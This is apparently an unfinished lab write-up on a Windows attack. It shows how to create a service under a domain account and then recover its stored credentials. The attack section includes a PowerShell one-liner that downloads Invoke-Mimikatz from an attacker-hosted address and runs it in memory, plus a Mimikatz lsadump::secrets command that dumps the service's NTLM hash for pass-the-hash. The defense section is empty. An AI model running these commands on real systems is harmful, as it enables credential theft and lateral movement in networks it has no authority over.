Services (todo)

It's possible to create custom services, which will run with a local or a domain account. When you have high enough privilege's, it's possible to retrieve the credentials of the service.

Configuring

For this example we have created the user noah onto the Domain Controller. The following command should be executed:

net user Noah haoNHasAStrongPassword321!@ /domain /add

1. Login with an Administrator account into the machine, where you want to configure the service. In our example we will configure this within WS01.

2. Open up cmd.exe

3. We're going to execute the command:

sc create <name> binPath="C:\nonexisting.exe" obj="<username>@<domain>" password="<plaintext password or NTLM hash of the user>"

The password of the service can be fake. So to make our attack a bit more fun, we're going to place the NTLM hash of the user Noah. This will enable us to make it a 'pass-the-hash' attack.

In our example we're going to execute the following command:

 sc create TryToReadThePassword binPath="C:\Program Files\OfThisService.exe" obj="Noah@Amsterdam" password="02671733e400aa35ad23828f5df3b676"

When executed, we will get a success message.

Attacking

How it works

Tools

• MimiKatz

Executing the attack

For this attack we need a high priviliged user.

1. Start PowerShell as an Administrator.

2. Execute MimiKatz. This can be done in many ways. In our example we will be hosting Invoke-mimikatz.ps1 on our attacker machine. Download mimikatz into memory using the following command and then execute MimiKatz:

IEX (New-Object System.Net.Webclient).DownloadString('http://<ip>/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::secrets" "exit"'

The result is that our freshly created service is shown, including with username and NTLM Hash:

With the hash we can try to execute pass-the-hash attacks.

Defending

Recommendations

• a

Detection

References